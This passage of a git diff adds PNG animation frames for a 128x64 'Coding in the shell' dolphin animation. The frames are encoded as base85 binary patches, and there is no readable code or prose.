z_jcWRetlJ~v;ZaNsO?10z*b1>3lXi7JB&LkfYJ}YIM}EHicpGTBH?Ha?bzL(sXn{p~dGeyb16y?nrWmHvw+IYLa&zE#CzA#MDlFw9OiqgT=^c$5IIo?HggiT9o<`W|8hhiv*XXr=FV z?Ci!}JDc%2L4tM#_({80I==1PYy9=CWe08r_^HX&xI>t&t|L=LyVc-09WVcS zay9N!;MIEAIJ|^at-#K)qOe1Pb_IAf+hey>S_FIxWGi0I!U@&(u5Hp|`WM zWJemn-eao4OB3J~lPxmeBALW9*ANoC1Oc9SQ^qD}%2wusNj&;*6}``2{N71`r(TJ6 zl8u(zNiZz|)dkrYkxc}6`rY@`?#|BLU1UP7Y6B5LqH2JUV2J=vCt750DbK1wXW5uC z?`5JZ4iNVG`r+qwyRUcy-tcx5}Xq3`QBqogmj1WkZfNwi3>%&sOpEAgu& zUPM`IB zb#wtT9yz*IeyWm>#Lyx@=OJtmh@o|=UPntdLrzvxlmuW(Qxw?r4zCgz zDPwj{FGZ9X_QCrjjr6`FjHO;@YG}&l)g`Ra(nQ37a#(E_o3OoJ9Epr~U76H`g5F^o2_ z^CJC_`9%GrD1Sddv~U)kMJj`9mc^Ag5K(8V9s2Cqy0WExBKac8djQtqj{a2HU`Vi9 zO(sa-3GHrW9ZCN2`ELS|#nZuN3CInbD#`B%oK&vI2yP(rk&i46&yJp#k+WYP1Yd%Lir>NOC}5>-IYk7pY}rek&`UqtdtQ{>dBXUf{JGs80wm8r4-v)Zg?;f#M z0=CGGf>A7$xQhH$b}H?#iruCE!iUKBBVJc%O(5&FQR1_BqompKNQU`6%s(&=X6Fe0??9xEnP_RtNxtXMvhe-@s<&60^Yi^^P!W{MS!l5 zio_8@hAgqs0!PSvRQ@x8o7vX(ndh!BapHmrAm&XV8%$OK5anzW8!79mB_IOP8;^)y j)c49}$b7LCiXq=$4@^al%e$Z*00000NkvXXu0mjfJJC8U literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_43.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_43.png new file mode 100644 index 0000000000000000000000000000000000000000..ff83fe77130ac6925552ed2bdb93eb3d44a187f2 GIT binary patch literal 1004 zcmVX^GWb)Ljemj`I? zv<-L+%cwe7Ti|m+aK4sK{IDXh0RtFXhf_1VwV~SMb92|C+FI{vR(ieH=;y8Hd7f0H zYSoUN3D}oZB+%Q(oY7nvE7b!e4>jkKR##+d04CW<3I)-VjzP2nxgd2G2*(u|o z^6(gVjX^a4X|46>gWaG8LVEkbPy+c&4x_YXO^@d-)Ou>rHyGu0ta&U;J0gdmR!y2ss@0gcsO5+*5Q0Ey*f_}KEB=vBQSXY7{$Zx z#1qA%3@HLn4?etZt<_`*oDsN|0MElQV?s&TwE`0)BxZ$KGAiolCd5x%#u-UqCg zBJct;4Sp$hT>$G15rMc2rm0^}C??P25`j_~^`Qe=n&s2*O3XI)k~fyMWB;aUjMB3m?Cg+*rhf4;m8S_wt&UWmI+n!d z>@)Z(Rw3vTf!fI}ZbuS?-pHZ!kksdBDZMKu55Vnb=fs~iI*6~sr8&=Hxfa#7cMXr| zHBtl`;EaEEEQX$c7$UI4WH3hpaa#HeED1kr9h@(n$I_lEmuMcb&7!E{(fu`$`$G_E zwrGl!`=pG^rFK+%>XWopkHCSC2HZzz-VY#k1XqR!o*EpOk7qZx-u8-4izr{@GzKuEN~=R6`LBY~T9DH1qRm}wEeyNNdYG2F9tMFMfY6t%PN70gK8JGlQagc4?W z_V(-*j5_mX#}o*X;`7|GG{dzxf6o5rND+vLWPDourIe0HU=oY;002cPOYVs>TQLXki#66Zzhw0rIM%KY}= z^LisDK@$Q<0JJC`uNaBYX#t-MJT>^dezZR|AqY8vTI5d4KBTNxX7qk<^T^AaA^La+w{He%cHTQEIx|mi{YF9Bd3YJ9J=3n} zIe^H__VPzG1`2=AN&<^e+rbWAUu4k$^@kw_-cmNxMuquRcCNLy_tyNQU=VMx)}B!vkqBe9K#znAHgq0iNh%%r*C_S;fJ$T`E}enPu}mSZNhffoHkmU=R+xSw(YKX`$kmC?qQQ%>N^ zDFG1BY`=e1!Xl0B>;laQaGCsm2 v_#a1l_U|pvGES0jCcyj1dX{hSTWjqv+PANDt%2s000000NkvXXu0mjf+v?(t literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_45.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_45.png new file mode 100644 index 0000000000000000000000000000000000000000..86630e83aa56102061ad25113ff5fd8240abb336 GIT binary patch literal 645 zcmV;00($+4P)epZT3a35*^uDG8M`O9i{!u=fj533n! zf!x4aWw3D&=$wBQAhC*}JF`PIr2;qy0i0880dOx@+r#YEi~tYP8|HbQS#d_BK!6XD z!b^emR)Jj5T8ds75a0upg0F>@ljGg!zaj$y+(a%29bl~j=0t6UfwP{{gBtQV?Aizad8~wec z^+y0>^qd}sKn1wOuA^SVLEr#8mwyQY7^J5SAb@iaz&Qxe$?m6r8U%0-0vM(BKo9|( zg8&^^>H8Aq1U9hpCwz>802NxMRqqZ06sXOkvm^upWUzLwuaROSfWkxgvbAv*AZQJL zS2^^yaXT0gAmOR>OAx?02;dw9a1H_}EM4Sjxg&@G&Orc0&pU1{fB+eKKZIdt5I~?q z_fQQG;Dro1_i0;JML+<7zEL8v+7=K%QIjBq{x@H)4gzFok-!SY`2dzS@+!LbTihp9 zfHzp45E{a(0?58*aU(~u*7qg9Ex=-Vn~7BkXaUaQt7Dzh{Kb*A=~7-Evp7ipw1C=1 f@|eBwLkQs;lIyo@bh0UDVVe7gP8Y#>Ph0Ss7Sp+~I*5TJq8R{7LOFiZg2NvWFliEWupR{>(j zax>|H%jnL}wMEmO)keRT*#0g8@S;U7EsYRCQy-rtrWKmg!w@=UfST#ao-2@Q+f!11 z-x(YPzVMd0Jcs}R9HQ9`K!C%60EYtslDrX#Co@MBx(ZED+6`#tXWX*M&>06d6NaHT2Y zkt0fKBfa%j=;82;*Znkbr*v5w{9WbXpRMb3@UES78r=lgY2=4+R_dpq5_mY(0(c!M zr=b=gRkV@HrjTTPR02rn>nR~xDrc?Yw7h<|W0xEy^%a!>(wp_@FkXS1T~hYU(g%T3 zk%mj5S@U0l=89VnZ1oKxZxux=W?%6;lBF}iXmaxvUV#9=q~<2*_4gh{fB*z($~vO? zB8HuS0F0ajA?Po@Tpb7?P$GdBAV2~xfu~VVNuCCJvb+Upm5?Wp0SfRIbjlsVr{&-i zZwG&ozg>W5%Rw6K0uBd19eX&%KOC7m0zTz2kAvjjE+F?I@tD8hhY-Ry@~C%}w?mO> P00000NkvXXu0mjfa3ydJ literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_47.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_47.png new file mode 100644 index 0000000000000000000000000000000000000000..f5b4529e448844213c2482c22324c4ab69bfe0d3 GIT binary patch literal 820 zcmV-41Izr0P)mMk+$!O+xenTRbMY5eGt>jQ zj!yxc*J~BXJ6+?Gshir-ra5%*b0BmW^4x=+O1b7i`Fz@@$iqj(n1eiz)UJ95t z3*-XLrO?U%0VYrid@WcxIi7ldiwqFJh+H6e0Bae52e0(mQoyMUH4z|y0lld{_Z`Wy zO46k=bPfnG7#jSMbpWkYyd5P8PzM-@Rq**bYCSsl`IG{5=ae!o8qY^-R$IIScudTp&uGCqx^bI1Uw@Dcp@TcqPy|J_a zoHwo@@-6`m0||WWqPhNlS0KPIG|0KTZFv;|0ucC#5{mZTJi7n^7&Qq(@OO>_0%VX# z-~|X!fJ@-1*Hemzfu1byfzNXCwq1|`1b7QN(f?rqcNs3)Mr ztbR%<sP*KPsHUcU8@&*!sKM`&P>_14ed=lLTlGl3qpe?9i|7yjeTorykQ{DL=! zMu57oyj*NK3A~*DB0$B9Lr>;}Xqpk=a?${o!=`{lm$&I*b!tunY-DsWODUvrW=xR= zFr*G%9k9_TKn*lD#i$v~46xd{Ggxck2EKJpN@Gv=8#AaHpeIJs5gK}0T2|?yz7G#z zD*|8*+_9W)XogmMR16>;*pVwjTMzEM89lS1p8AaByExO;`w$e%4bVCn2Nb*71lD@s z;IAwMjhYJU;M%gh4lpx-8WF%!kJjMhbBq`h9!qJ;LeL^C1|Oeqg$Yy*a6&B{Gn22a z@Aub%l^B6DK}LW{b`3r}zcd<9CQvni#~m;&-cCY2wDYYA)C)nq&ao~At<>Ueo0n7% zJkF#LB&m358^MznPb^6RT-j1GL8-@RUPUXkP*prnSN|wg|B?s*I|A;2rA~@Jhrh$3 z5Y*CvwVW0eMvb{F1@tOZT$ys`9H6H|YUEQXrRb~zT2~x()pP&Pf(KBl1HVska`=a+ z*8zHW*(@t(9&}hR5?M_PLDGBNx9ISIc_k2b^v+KAqGLB(wuE`<@V9mUNa;d70!VU^ z#Y(`74sWRJ2N;=A<5~L3L7-L{5*->^tdZ(Bn*(q&Z)?2h@Pf)5fUD~D>hM}Sg7A0u z&J(==1W}s=O3SDgrPf(3(ll}+s;dCW21ct6eWT^H`v7k+Sq6IQz!m%GJhf+*d^C(8 z+FBn2js1ERAT6h!)`>R^KHNt*9091jD1FU4BU`FY1h;K?OBlDgB3cpUCWcagw1{%z z;NKGZF)p7As5xra=WoL0DqwW^6?vJajY|VmdYd`9;}SWp4S=z_Z5$oVj;zjaL3TQPl-#dHoxiu zHJ_YwPQkVO*=<0um#6&j`FwWT;To7^t@-&$>90{S6Ub5gYthdS{Kc9&19={Nz?wom zKn*M_gDr}{%lVZ73RV<)GACry$N-lU0=S$Iz~xkHfIybf`e1c!76RBvZ!mMtq;O_L z5du)81g`|FHw#dK#-ivILkK{DTHss3qQvnw`bWf|E`Zf3Yz9eNs6gQBwK4#fWDj7aE!G3xvph^`aS;f+P9w&^ z?^w;OEwI|QE&?t&=k-&-O#j;|lz6-dL9_;V8*#M_5BMg{3OL{OX3I(RWU6g_0K9Xx z)6te}(PoPPYFn;59B;{%9jFW7ZNFX9@guf)D+IT;f-NnxEZL&T_Pqe;3jdcTkum-+70Bihqau`wWakOohKovz8GT3ah|t&-+;o7SHloD1RvHj(=`CMfpUUF zxxqi-UMTRrO=SS8D&`&w>@Xw%s>{SZW|f;#KV)bMsBN5Zjs>>Zz8BDfTC;0@{sv61 z0(#fsp4aPAm=-{Rsx3I@jb6)3*5K4NM+g8DBYPdDYk(ba-yQHm2!NpHjoZ@+0RV8& zZ^#BAfPdg8f(tMkcoaei0Dw12AYP}15CEbjf|Sl`Z*!C9Rbh#p1OpE|5Jds8(WFDc^?u}028kRB>r{m<*@&8WNZGrGb l$=4Lny2<#Pzu>2o(honG=APxIh>rjO002ovPDHLkV1md>o{Ing literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_5.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_5.png new file mode 100644 index 0000000000000000000000000000000000000000..1545c0ee718aba8d4aaf13e3185976c31cc550ce GIT binary patch literal 1126 zcmV-s1eyDZP)Q;kIbHxGa~ugX36(1>tHtO$VR}4Bk1s%=)zS zAiexrvP;s1>UwP&h4yS`^dUzXY4=fUtteBKtAKu>2o#-qP(ScCdiu(Y0EsxXj<=>q z&pjUDdiEOJQvm<2gB(M{_^RGlihqo^?6WD=Ic7D_69hlxo(3J_4Lbp`L>uc?O z;)V9$)16QCMy3SI2}}pD2$*yoA!bO=%u~=^olo_9qk-iFp(#LWjE~+ZF_Vm&8FzI) z#Rw-z5*Wl)D~TR>?LkZUB!L@(I*W@0@=6jZls>h(8cFn!Pb-%oJ&$IyX4`C|KLRvm zxJaO9uF>Q?SwL=}wxfq+qH`g#J!1Dvh%66jol*i3fM28UmYg<%BBRTr7m-ozQ`>{k zbUqD#22+wiA7&5#XR?IHaU=;`1!t#$Y0dAe5Sx!d)v^TGv3y|tcnLtSodKfCl z>!Rz#FNSUhBeExrY(%m=dc1W;j`-Q<{~ja>bl@otaE1sb30w$gh+ybQ7|OiS`>2f9 zm&!E~=aotLacUXJNtHypv@Kxdr4|9y1U#=nvFd;bWdbEq79n+B66whbM(b$P2hUxs26T?lwG5Pq zA8HKM(b|*lq3<5@7}1Nem@9UCDeu2m2%iVg$e6V%KyuP3wYFn>Y}4B8)ipb$jO$PN z?j&%v(Jw8*C7G==fva^shbJm`kwA2B)t9*{hLJ$&USe*zB7nt~wFr@z6YjkL&uLtG z-#XwiBc5cd1+)Uvur&!xqyv;ven-tpk-!62CU6%>nX=WfwF96O^KQ{#YX_j4fuY_?ZG$en<+hgReaAQ%rv-bmZyW=xE--38w$+Skz&&+WJJe|2R?`J)_G!zY><@ sEPaW0ysZMXkoT#wNSM|ReOV07*qoM6N<$f|)QBApigX literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_50.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_50.png new file mode 100644 index 0000000000000000000000000000000000000000..1ff2a8874df65ef828d5d06387d42abd57357acf GIT binary patch literal 880 zcmV-$1CRWPP){ozgRHfBzEk=!Dl&l{rG72e^9}#8rp`d0yZ*qMLOsxG zSXLTabOI0OUj!&vQRvR>5KSWj98L(}aJnf#i&j{CE8SSK&7;AtSF9A8!Wqvu&3 zw9!CS09ePC*t6e1fWFA5w!zH5ukQn@7$ilp%_L&2mvTC z8|quvVD8lu-KY-}0uTl|UvemzDyrI!o(N(jP!KKW*UzB5mB4dbHZ2jr4wE7^RGU{g zzkZ&C2qFRqu-f_Xxz}}}gwPX#iU3+2n4O|Pt93o~!rv+*B_*^(uyif}Q$gC}?^q{M zLaYUWW7izQ^K#BQ5da#(&7~S}ZRv@@+CooGBv2g+rjANIRrm~+Y_Wt|ClKaFN+_Kf zJXvXrwboCi*suB)z->8_BAA`h-L3UgBbLe8K#A)m?}L3K*bTK#;0f#;{vja%hfvZ$ z2;gw01%O?+uxq&7)ov{8PGGBdjs0u~p334y7%Tzw#>z3D?ZBukUL0Rw2>`p>mFs-T zwfUTTS>DZy1uIx{D}pHN<~aA>&5_!~TL1xX;XfsV5dg!}mM&=|Q<62z380s^u-nU0 z>WhK16Nhu%PM8xwN`FPbsr=St636+yNhwc)Fxv-^oDt+Yzusx%1vu4hG6EDhEqOLy zdwt(8)X~+n01BA=-a3~GWnJBl)Md*#?;!w)r~GRHvweWooD}*YA%MdP0US;U;BZ0! z6`neon8~jYz~O`dDkwW{JrDwDK>ZSioe2Q|YNwwN4MG4Ppp#qQw&hg_AppQ=8ro}G z=*|Ur9TLR=TYPJcqNgF_hyWc%3sSr|Kc!CufT7J>h?}9#{hl0O_)P&G3nxL{IK0(U zqyPlooDPYfjy)Xo4@Zu|-zmpDHj+OnU{uIB=Fj;lrSuJcYM7+fqnc9y00000%T56sAVifQ$&E^Kmfsk0D{xZ0ko*?i@WlTlWf_=5&=9_!t(J| zli$1Fs;b@F1aY=assi9THXqj(0_Xbln6^FA>)!W0J!+{5AeTNRP$A5o^b_nU1tpCF zt%x-ewbTSKGGQ7kZl^sh$M>#V6UWo)eHj^a${X^oy-d+2#85r7&YogB@{d~1tFY5EjYOTp5zq~?Urw&k?dFD2Wr zmITt|i0e#xu2vCcw=LR87mw<@fVZo7=ERRa(tYX~u#9RFI2yudZ2>c`)9UN@AOzF_ z93t5UAb{XN0Kpj+0Jn3+>V8>k;_$Nnr!-IpsAbpO*DTN*izi+Qpj9j9yk>#kSgeSE zYwxQqfctT0i_TBU*I1rF5-7mR>X&eIPvB_&Ff0EU>AOFjqXp0^3AdcUJ&%jk1XjY) z0?2TiGiExf*GK0`5GDjrvZ86kQpPW3c}I{XA~>IJZFmN1n?zN z=%+vc!GQpR0|5jF0x0lQJO6N9*G@ZJQzlt$e!f%sZ&dUIa%BH%^z&W*qD`HFJU9G6n?gNM zYgk$uTMPmZ=T8R6Xi=zTEM(Kj0EZI-IGkn|AVn=L?&@wd*|Liz0(dKg+X{FohMo{Y00PXW`r6-M zuGJDt2|}F!Qu-9Zh_h>f8wtM0K0l>T|ER45a?S`w@PC2(1XN~#%t%X~ z8L&~7R9OT*+p;x*vrwvWp8Dq%m=HjTRDe%O{SdWdfM5+FfWrv^98L%T;As$vnfnL< z98L%TK-qEY0duc`D|q{F92Pf>v}rNGyYn-j-V@9z^Dd1ELRl&y?W3E<>IzT_8sXj;Rv834scL9^3 z4xd>FY84f?qm;!^2bhRf@Oc|8LlS*&&L#+85-Wnw+nXT*2w(!MgHPMNu1h3@k_aGx zLEZ{JZC{!Vaw1qF01LBXoEDpRSn1O%0%U*zc3bAvBLWoxaEI*VBndf3TC%@|rE>ui zCu$dTbX#Lck9YOm+0 zUIfzHBWW<{d$r1_vuv@P{wb<=0lmF=rU*tSx2&XoN=pV+9Rl9`{LJH66oC}f0h|K? zG-Cbsj{^ZXXIKEzwQE*;jAgr3*97LSuBF>7VAbwcx&%-vj!3pypk%kzY*3?10Mf^u zEe1b?`ifku=TriVLMwO}2DTQ!XaGh&Ut33ak|4GgKx+VI1?seWeGc{O)&fXKXX9q{ zOb@}QnbCv*IGWE6N`h}y9Q@p{CJ;aX2~Vk?0s%M&0&orl;2a2maZ-^-G8Y2@I0ph? zv^;Tp0wxPV+B|(5hsM(Nw}1c$ycSTJOgbU(2?*c=uaWbT>8aovfZ*|4(jWkaHxWPp z89a%gcnxs!xF?0*5}xQ2WPk@wUJx3>Cj-!u;fW_Xiq+-q5`Kq(6VuyFP89)$0O#PR yW1S=Z;mF!@DKGm@>?D7NfZ9o7-+93gA%t)80%@2fQnEk*00004>5qnvRzbG7=whL7rZcJIjgQem zfQ*w*t+kfqSpHZGNNl;<7oX3^Qb%ZDlJ(ZkS1JEQ74t+Ck$flVA4u{MDi7d0(VRvRu0~j(I%vx*LI4h<|11Qph z*8(=01$u$TrWiFt8bARm@OQ!Lnd7PV&zK<%AVe<^IDmH<00)mcmkKyE!<`Y*00OM0 z`rc`4<1LkdNhKMueZYlVwJ#lp^;#=^CcQkQjd1<;dQz91OpE>iWy*~ z7fWOSDLq!fhu6QGuqaBbZ#F4R-S-)4qL39qlnMwD~hi}sCfIF+d(-IZ4 zIsks^X4%jqTHe0=!ytoqKLEGEVC?{Y-iwxYe77zSsAm9A4an8fRtBE5??Ti7RL|q?5wz9< zmxSQNR(j=Xi5U1&zVA(SKR~;n7pQjvMs@+e z4Sa8Edjb=`EE|BkUiRK=qSg2@)V)m)0ljrG_gLbGDFbkK{zQI`9)+nPfLb|Y=po!(f~i;8o8&9Dw4Qf1!#j!Z~|!n#Azl-19Uja1Ze;QY=WppASZ#5 zCq5&6PD&@D!lW*SiYWOJshk(c~PiS%oIGp^`v4_L{!;yD0;8VUA nv6Fla0e3f<--{RgQcC#?WL)E#t)$5;00000NkvXXu0mjfVLqHJ literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_55.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_55.png new file mode 100644 index 0000000000000000000000000000000000000000..b8a8c651257dd42798c7d1ab1e1a46adaed2f06b GIT binary patch literal 1080 zcmV-81jqY{P)PbXFRCt{2ozaryAP7axR{#GmXC8Lla%fOcKoU7mJxN-L+$ci2 z=DP3uF3GX{*=<0wmrwn0UDr-KUQIj6MjPi(DSwU1mB5ZVz7fay)BX`norygkcp#cW z-vIVtMS0jV2t1sx8K4qHp-<)svuVx%hm!(0oD{&}qyP>l1#mdzE+FxRyJOJaouvRa zfjNBS-21-2zPBm}cLB`YxE0>EjGQ-`1+eQ^1>quqQ8lcd_Yy*{Ka0v8)#i-DN9Uzu zX(|A&G4;H)5IF5)4$`m(-lL>{3Q7eW0gkUCs z6$e_(0ABWBP8hYTT{DmfA$I|aw1d3E@jZL$-*7f_Nd!HiDh83-EO9;-y;}ku-}arE zKn0}E-vuTD7Xj?PaVe6Z?DSj z0;wWUT>`M1tQ~QZLDmDMVGEXgiRN4hssex!?rieKVnA1I=|$4qHlks&1aJmOyP~xM z#}+6axI{>cIvCU#Sc}Ir2H+N3-~hM3q|tzCOJWQBPVdR)+RaG;TPKZNGl5i9Oxxks zwv48A*fzXg;#BT7a~3xNjLNK@BAB&h#sS!lg1hX%zb!25eAL3CAlG*}4TS3|6(YMPskaI&`OTdgRy-3{>4FIGwe2xY;b^wC90YP|=G3v>%x3i3_X?y>=WGBMt{BvtI!DJMv69+t z+rW-Lfhhq{`E$;(H^NB{waWnZS<=3y$fg7^+CTS>MZxL`<^+}X7>5 zf0P_r8GLG1klYJq+bhb!Tza{74DNM3ET&sd5ojd5$G;G=0yiZ`q0 zyMKyD2ms<4TeMHF){@}WCx@ed8z@0#UmTHlm7xp#=KDo83YQ@iVq@@|2lSoC%*|)VgKXE y-X8hHbMS$Y)D$A|YZuUqdh^`c&)Ms)A{sw5PWhdLujB^+00001HC3!4=P8*P% z-qA2`FMez$*$vjR=Y~_jQhw|-6~L+&j#8`om5hu*yf&1t5I{8g;jx8fPcj!hmLs-MQNw zLF=CMc9=u}uCdy+cnw>qbG5c>9xBaRyCh?@s3(DK+Y!88Vf7yI)X^-HLC;M=6t~OG%v#TVkUqaoexm5>j=&RTd1Fp#GPjW z8(@!!{cBBev`&JvaQYD7nnEXm)C;|Bn~|asl~@trG~SMm@R*08VP7_cEbtEh-dq&{ zPP2QQe1hF0<`e*dotx_Y{NK;LJAMj)z-|W)hE>IoyH%wC7EsEmyW_P;1tIM!N&z5v zB!JQyhSa_kz=F0%z$3x)P9moQIGxQ#!&3yFWF24w5WzQ99$)oW(%*DZmSCraH}X#a zPesF#H;duXN#N*Ao#Q~PQz*J1@=wQhNbf^02I>*E1W5!U|KUh%b=>;dtdV8(Y|fbv wLvz7N#Pr`&0M^O#?Vn-)Mlzoz&>1A*FH6j9lh-Os$N&HU07*qoM6N<$f`lZ}Gynhq literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_57.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_57.png new file mode 100644 index 0000000000000000000000000000000000000000..f7c1e8023e5719b43bfed8b759b62ce5ccbf6eeb GIT binary patch literal 1132 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 Te-l@l00000NkvXXu0mjfz#eMP literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_6.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_6.png new file mode 100644 index 0000000000000000000000000000000000000000..f99662e70f0d928b252670eb51bed5fce26b3b38 GIT binary patch literal 1077 zcmV-51j_q~P)BRU~w0>|jmP0t812KyY*gfSa-Qoj++lO+)1@Wq7*Qj-@`z zPZ%u#4`j4GEh>Y!11e9^@}zyTRF~F6_4!y=+=ssnlK}KyoRr5G9xV<{=i1%sYMRa4 z(Z>2#Fs5g{_}`PbYONJTs&W@Fhne^2v4XP@w}FWH(w0B}i0mO?Vu zh%eCklI7Xa3TX?k%>xNX&jN5)G4r0f0-zByG(m}YY2Q&lyDYv%<24H)k!edmEqz8| zTrNP;bYu;rr_|<->>OFg(KZ?^ZAn7c+if8v2^<7+S$D!KRHJK`k-!0bd+}Qz9*x$v z%^J*+KxFb!K6+|(Ezv(I9Yq19zC2@>#zxCL<+i>p1YH5p{I|87B??%|&k0EBG!La| z(8g!kdq2JSwBPHx+;g;y(RCJJWw)AEOE1qu1}**a_IgigtIFGci?DiJf=39F1RAl@ zZpAtd%X%gWG+?F0FU8IaEagltz(br+eXXvA^xfG{R7mq5wg4yuj86VE(nX1lcI2x` zvgVt;BvERACGGd3X9aFO4n|~8(riSsEd5yP?7Co9c(#YM4o8we1#dI|9z5fcENPO! z4pv?KyWqMKh9Yk?9p&-*QocswtYxC%4maSk0O;5k<)for>SFkydjwD`ce;k&1xZ+j zBY|k~EfGHyokIh)MEj&R5_TjB6tK(oZ38JC?T(>1fJVl8y8={B($d~>?9AA-HX}w6DUt*dASqk9V){9TPXiNYBLyHh zQUC&B=q%t=th`I{V&-6L_%JAO2EtkZ8Ul_4uFzoxpp;^Yl${ROS-=TEmrEjBgU}X$ z3qce?pb8LD0D4#3BDn?eFen21=XU{6-s$flqy?bR?l+vi_@(@{0Mz6~F?|%=_eWUx zhJP*~(xef%5}f`%+I)|=6ndBWjzs<%j`-KHXt8&m&yz6!<4DaczLBSmwdF}aQ}6W` vNqBzj0yGo2N}lHyuN3jq%0^oJT5I_YO3H`L3Qxit00000NkvXXu0mjfA%pE! literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_60.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_60.png new file mode 100644 index 0000000000000000000000000000000000000000..950152b73796097626af76c287ef2e7fa8e703d6 GIT binary patch literal 1269 zcmV6M#0t&CP4-AjF=b`o(k zS%B)(R?vHzhstnn!P}zX&#iPK4pRXl0SxcTmfDv3LUm^hs;r2!lu}TnDp%Ka(7Ckc z*Q?CE3ylvz%TIhk zIt^?QxRoE>!d(`Crx6=(u?{=I``!@+krX1L2uT750IhgUm=U3Sfcli=nIy0?_yY0> zzPB|*V~`fMdke5kI3j!KIc@iCR))`&guAvuNfGG0yCQ)!ipLv`MDcit_)Uli|L!n0 z7d-7d6bgMWVse)(B)IFbEIp_bwh!2zYeR$VCFBtF$#Ba%a_Bi5yz1niFIc6r%wlPg|ob zvgMkM1?H*&sjTBd)bH4dK!@?&0J 